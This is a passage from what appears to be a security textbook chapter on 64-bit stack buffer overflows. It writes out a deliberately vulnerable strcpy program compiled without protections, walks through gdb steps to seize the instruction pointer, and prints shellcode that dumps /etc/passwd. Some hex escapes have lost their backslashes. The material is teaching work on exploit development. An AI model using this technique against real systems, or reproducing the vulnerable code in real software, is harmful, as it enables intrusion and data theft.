64-bit exploitation

The majority of the examples of stack-based exploits use the x86 or 32-bit version of the operating system. In this section, we will look at writing a vulnerable program and compiling it within the 64-bit architecture. We then debug it as we did in the previous section, and determine the address of the instruction pointer.

Following this, we attempt to take control of the instruction pointer. Since this is with 64-bit code, the process is somewhat of a challenge. So, let's get started.

One of the biggest differences is in the size of the memory. Since we have 64-bits, we can only address 47 of these in the user space. This results in a value of 0x4141414141414141 not being able to be used because it is too large, since it takes up all 64 bits; therefore, we can address a value of 0x0000414141414141 and we will be safe.

Tip

The examples in this section are created using the Kali 2.0 64 bit version, which is using Debian kernel 4.0.

Like we did earlier in this chapter, we will create a simple program to conduct our 64-bit buffer overflow with. Open an editor of your choice in Kali and enter the following code:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

int main(intargc, char**argv)
{
    char buffer[256];
    if (argc != 2)
    {
        exit(0);
}

printf("%p
" , buffer);
strcpy(buffer, argv[1]);
printf("%s
" , buffer);
return 0;
}

Once you have saved the file as over.c, it is time to compile it. We will again use gcc; since this is 64-bit code we have to compile it a bit differently than the 32-bit. In a terminal window, enter the following:

gcc -m64 over.c -o over -z execstack -fno-stack-protector

Once the code is compiled, the executable is now available for our further experimentation. The first thing we want to do is test the code we created for functionality. In the terminal window, enter the following:

./over $(python -c 'print "A" * 300')
0x7fffffffdcd0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

We have successfully smashed the stack, so now, as we did with 32-bit, the process is to look at memory and see what we have. Enter the following in the terminal window:

gdb over
(gdb) set disassembly-flavor intel
(gdb) break main
(gdb) break strcpy
(gdb) disassemble main

This will start the debugger and then set a couple of parameters, so we can review the program in memory as it runs. An example of the output from this command is shown in the following screenshot:

64-bit exploitation

This shows us the main function, where we intentionally placed our weak function strcpy. The program crashes with segmentation fault. Our program's problem lies with the implementation of strcpy, which we use in main. The strcpy function takes one string and copies it into another, but it does not perform any bounds checking to make sure the supplied argument will fit into the destination string variable; therefore, it should never be used in production code. It is not the only function that fails to do bounds checking, and you are encouraged to research this more. For now, we will move on with the attempt at 64-bit exploitation.

Within the gdb debugger, enter the following:

(gdb) run $(python –c 'print "A" * 300')

You can go through the application flow using stepi to execute line by line after you pass the strcpy call that is located at address ending in 400635. The next thing we want to do is review the registers, and we can do this within gdb.

The gdb needs to know which part of memory we want to see and how it should be displayed. Memory contents can be displayed in octal, hexadecimal, decimal, or binary format. We'll see a lot of hexadecimal in our journey through exploit development, so let's use the x flag to tell gdb to display our memory in a hexadecimal format.

We can also output memory in increments of one byte, a two-byte half word, a four-byte word, and an eight-byte giant. Let's look at hexadecimal-format words, starting at the RSP register with the x/20xg $rsp command, as shown in the following image:

64-bit exploitation

This shows us the stack after strcpy, and as the image shows, the memory has been filled up with the characters that the Python script generated. We placed the printf statement in the code, so we can see the starting address to make our job a little bit easier as we continue our quest of exploiting this 64-bit code. You may have also noticed, we are looking at taking control of RIP vice EIP that we took control of in the 32-bit exploitation experiment.

Continue to step through the code until segmentation fault is displayed. Once this has been displayed, and we want to look at the stack again, enter x/20xg $rsp. An example of the output after this is shown in the following image:

64-bit exploitation

Now that we have the successfully smashed the stack, we want to take a look at the registers; enter i r to display the contents of the registers at the time of the crash. An example of this is shown in the following image:

64-bit exploitation

As the image of the registers shows, we have the RSP address of 0x7ffffffffe1c8, but we do not have the characters that we want in the location pointed to by the rip, so we have not been successful in our quest to control rip. Why do you think this is? Remember, when we discussed earlier in this chapter that the address may be 64-bits, but only 47-bits are accessed by the user, our string was TOO BIG! We just have to reduce the size of it to get the results we want, so let's work on that now:

  • The process is, we need to determine the size of the buffer in memory, and we have the information that is required for this. We have the address of RSP at 0x7ffffffffe1c8 after the data is copied into the buffer. We take this number and subtract the address of the start of the buffer at address 0x7ffffffffe0c0 from it.
  • 0x7ffffffffe1c8 - 0x7ffffffffe0c0 = 0x108 = 264 decimal.

Now that we know the size of the buffer, it is just a matter of time to determine how we can take control of the instruction pointer. With exploit development and crafting buffer overflows, we use the letter A, and once we have the potential size of the buffer in memory, we write the letter B to see if we can discover it in the location of rip.

Based on the information we have, we want to combine the letters and attempt to take control of the program execution. We know we have a 264 byte buffer, so we will fill this with the A and then write the additional data with the B.

Enter the following in gdb, as follows:

(gdb) run $(python –c 'print "A" * 264 + "B" * 6')

This command uses Python to generate 264 of the character A and then 6 of the character B. It is passed into our strcpy and overflows the buffer again. Let's take a look at the memory and see what has happened. As a recap, we have set two breakpoints, so you will need to step through the program until it passes through the copy of the buffer. Once the instruction has been completed, enter the following:

(gdb) i r

An example of the output of this command is shown in the following image:

64-bit exploitation

Based on the image, we now see that our B characters are located in the place of the rip, and this indicates that we have successfully taken control of it. The 0x42 represents our B character.

From here, it is a matter of getting the instruction pointer to point to our code and execute. We explained how we used the technique of printing out the address of the start of the user-controlled stack. This is not the only way to retrieve this, as we can use the debugger itself; enter the following:

(gdb) x/4xg $rsp

An example of the output from this command is shown in the following image:

64-bit exploitation

The next thing that we want to do is create our payload, and this is the process of placing the data and then following it with the address of the stack pointer. There is one more thing that we have to keep in mind with our code, and that is that we are working with an Intel machine, so that means we are in a Little Endian architecture. Going into details of the Endian architectures is beyond the scope of the book, but for more information, you can go to http://www.yolinux.com/TUTORIALS/Endian-Byte-Order.html.

What this means to our payload is, we have to reverse the addressing. This is another reason we selected Python to send the character string into our buffer. That's exactly what [::-1] does in Python. Enter the following into our debugger to see if we overwrite the instruction pointer with our address:

(gdb)run $(python –c 'print "A" * 264 + "7fxffxffxffxe0xe0"
[::-1]')

Once the strcpy function has executed, we need to look at the registers and see if we have successfully placed our address into the instruction pointer. An example of this is shown in the following image:

64-bit exploitation

The image has proven that we now have the rip pointing to 0x7fffffffe0e0. We now effectively have control of the instruction pointer, so now comes the fun part! We have to either write or find our own shell code. We will not cover all of the intricate details on this as we will leave it as a challenge for later. We will be using a custom piece of shell code that will open and then dump the /etc/passwd file, a small example of that code is shown in the following image:

64-bit exploitation

The process from here is to extract the shell code from the assembly language file, and the result is the code needed to execute on the stack. We accomplish this by entering the following within gdb:

(gdb)run $(python –c 'print "xebx3fx5fx80x77x0bx41x48x31xc0x04x02x48x31xf6x0fx05x66x81xecxffx0fx48x8dx34x24x48x89xc7x48x31xd2x66xbaxffx0fx48x31xc0x0fx05x48x31xffx40x80xc7x01x48x89xc2x48x31xc0x04x01x0fx05x48x31xc0x04x3cx0fx05xe8xbcxffxffxffx2fx65x74x63x2fx70x61x73x73x77x64x41" + "A" * 182 +"x7fxffxffxffxe0xe0"[::-1]')

Our shell code is 82 bytes, so we have to subtract that from 264. Once we have done this, we then prepend our code to the A sled and point the address into the shell code. The result of this will be the /etc/passwd file being displayed on the screen. The format will not be perfect, but the code does succeed in running on the stack and executing our provided code.

An example of this is shown in the following image:

64-bit exploitation

We have now successfully placed our code within the memory of the running program, and then pointed the instruction pointer to our shellcode and dumped the contents of the /etc/passwd file.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset